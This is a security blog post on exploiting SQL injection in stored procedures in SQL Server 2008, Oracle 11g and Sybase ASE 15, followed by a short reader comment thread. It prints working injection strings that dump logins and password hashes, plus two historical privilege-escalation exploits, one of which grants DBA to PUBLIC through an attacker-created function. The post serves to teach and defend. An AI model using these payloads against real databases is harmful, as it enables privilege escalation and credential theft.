SQL Injections In Stored ProceduresTeam Shatter Exclusive

In this post I’ll discuss how SQL injection in stored procedures could be exploited in Microsoft SQL Server, Oracle, Sybase ASE databases.

SQL injection is an attack that allows an unprivileged user to execute SQL code with elevated privileges due to a bug in the input sanitation used in dynamic SQL execution. There are two types of SQL injection:

  1. A user having no access to the database may inject and execute SQL via some application.
  2. A user having access to the database can elevate privileges by exploiting SQL injection in stored procedures owned by privileged users. This includes exploiting bugs in vendor-provided stored procedures.

Microsoft SQL Server 2008

A simple example of exploiting SQL injection in stored procedures in Microsoft SQL Server 2008 would be a stored procedure that accepts a string parameter and then uses it without sanitation to build and execute a query. If such a procedure is granted to “execute to public” it can lead to code execution in the context of the procedure owner. Look at the following code for Microsoft SQL Server 2008:

CREATE PROCEDURE usp_demo
@ids sysname
WITH EXECUTE AS 'dbo'
AS
EXEC(N'SELECT name FROM sysobjects WHERE id IN ('+ @ids + N')')
RETURN
GO

GRANT EXECUTE ON usp_demo TO public
GO

This procedure is supposed to return names of objects which IDs are in the list provided by the caller. Note the EXECUTE AS clause that allows “public” to query the sysobjects table. The problem with this procedure is that it does not sanitize the user input, which is the @ids value in this case. If the parameter value contains single quotes then the query logic could be altered:

-- Legitimate invocation
EXECUTE usp_demo N'3,4,5'
-- Invocation with SQL injection
EXECUTE usp_demo N'3,4,5) UNION ALL (SELECT name FROM sys.sql_logins'

A list of names is now combined with a list of SQL logins from sys.sql_logins view which allows “public” to collect sensitive information that was previously unavailable. If done by an unprivileged user it returns fewer rows than comes from the stored procedure invocation with injection. If an unprivileged user calls SELECT from sys.sql_logins it would return less rows than calling it using SQL injection through the stored procedure.

In previous versions (Microsoft SQL Server 2000 and earlier), dynamic SQL executed under the context of the caller. Microsoft SQL Server 2005 and newer versions support specifying and explicit execution context which allows more granular control over code execution. Adding to the complexity of the task, with explicitly specifying the execution context, dynamic SQL that is vulnerable to SQL injection may cause more harm.

Notable example of SQL injection in Microsoft SQL Server

Microsoft SQL Server 2000 prior to service pack 3 contained stored procedure sp_MSdropretry which was publicly executable. This procedure’s code looks like this:

CREATE PROCEDURE sp_MSdropretry (@tname sysname, @pname sysname)
as
declare @retcode int
/*
** To public
*/

exec (‘drop table ‘ + @tname)
if @@ERROR 0 return(1)
exec (‘drop procedure ‘ + @pname)
if @@ERROR 0 return(1)
return (0)

Note that the @tname parameter passed to the EXEC is not sanitated. This allows to exploit the injection by the db_owner user in any database:

exec sp_executeSQL N'create view dbo.test as select * from master.dbo.sysxlogins'
exec sp_msdropretry 'anything update dbo.test set xstatus=18 where name= SUSER_SNAME()', 'anything'
exec sp_executeSQL N'drop view dbo.test'

Oracle 11g

In Oracle, procedures are usually grouped into packages and then permissions are granted at the package level. If a procedure is not declared in the package definition, then it is considered internal to the package and cannot be called from outside the package. Procedures in Oracle can run under definer or caller rights. For SQL injection to be useful, the procedure must be created with definer, not caller rights (AUTHID DEFINER).
Here is an example of a simple procedure that is similar to the previously referenced Microsoft SQL Server example:

CREATE OR REPLACE PROCEDURE usp_demo (p_ids IN varchar2)
AUTHID DEFINER
IS
v_count NUMBER;
BEGIN
EXECUTE IMMEDIATE 'SELECT COUNT(*) FROM DBA_OBJECTS WHERE OBJECT_ID IN (' || p_ids || ')' INTO v_count;
DBMS_OUTPUT.PUT_LINE('Matching records: ' || v_count);
END;

GRANT EXECUTE ON usp_demo TO PUBLIC;

Assuming the above code was run by the SYS user, any user can now invoke the usp_demo procedure and get some results back:

SET SERVEROUTPUT ON
-- Legitimate invocation example
BEGIN
sys.usp_demo('10, 11');
END;

Now this can be exploited to invoke the user-provided function me.foo which can be used to perform malicious acts in the context of SYS user:

BEGIN
sys.usp_demo('10) AND me.foo()=1 AND OBJECT_ID IN(11');
END;

This exploit requires that the malicious user can create a function: depending on particular query in vulnerable procedure it might be needed or not. Example function:

CREATE OR REPLACE FUNCTION foo
RETURN NUMBER
AUTHID CURRENT_USER
IS
v_cnt NUMBER;
BEGIN
SELECT COUNT(*) INTO v_cnt FROM SESSION_PRIVS;
DBMS_OUTPUT.PUT_LINE('Privileges count: ' || v_cnt);
RETURN(1);
END;

Note the difference when AUTHID in the function definition is replaced with DEFINER. The privilege count dramatically drops because the function is not running with SYS rights in that case.

One fundamental difference between Microsoft SQL Server and Oracle dynamic query execution is that in Oracle, it is impossible to comment out the remaining part of the query with double dash or some other sequence – making exploiting some injections more complex.

The remediation steps are to validate input before passing it to the execution and using parametrized queries if possible.

Notable example of SQL injection in Oracle Database

Unpatched Oracle 10g R1 contains procedure SYS.kupw$WORKER.main which is vulnerable to SQL injection via specially created function:

exec sys.kupw$WORKER.main('x','YY'' and 1=d.f -- r6');

where f is a function created by attacker:

CREATE OR REPLACE FUNCTION f return number
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
COMMIT;
RETURN 1;
END;

Sybase ASE 15

Sybase ASE is just slightly different in stored procedure execution. A procedure may have the “Dynamic Ownership Chain” option set. In this case (non-default) permissions on objects accessed from dynamic SQL inside the procedure are checked against the procedure creator, not the invoker.

CREATE PROCEDURE usp_demo
@ids varchar(200)
AS
EXECUTE('SELECT name FROM sysobjects WHERE id IN (' + @ids + ')')
GO

EXECUTE sp_procxmode ‘usp_demo’, ‘dynamic’
GO

GRANT EXECUTE ON usp_demo TO public
GO

Now any user can execute this procedure and collect password hashes:

EXECUTE usp_demo '1,2) UNION ALL (SELECT password FROM syslogins'

Since the dynamic mode isn’t the default setting, the scope of the problem is reduced. However, input should still be validated before execution.

References

EXECUTE AS Clause (Transact-SQL)

Using Invoker’s Rights or Definer’s Rights (AUTHID Clause)

Reference Manual: System Procedures: sp_procxmode

SQL Injection via Oracle KUPW$WORKER in Oracle 10g R1

Comments

  1. posted on 13 March 2012

    Hi, very interesting…

    I wonder if it is possible to exploit a WordPress SQL database? Put differently, can someone hack my wordpress blog via the database?

    Thx

    Dan

  2. posted on 14 March 2012

    Like most other database backed website packages WordPress has had it’s share of SQL Injection vulnerabilities. Sometimes the flaw is in the core WordPress code, sometimes in one of the many plug-ins. Your best defense against this, is to make sure your wp installation is always up to date with the latest patches and to only install well supported plug-ins.

  3. posted on 19 August 2012

    Thanks Alex,

    sorry for replying so late… yes, I am very eager to keep my blogs up to date …quite a task, if you have some of them :)

    Again, thank you

    Dan

Leave a Reply

Name (required)

Mail (will not be published) (required)

Website

Please note: JavaScript is required to post comments.

Powered by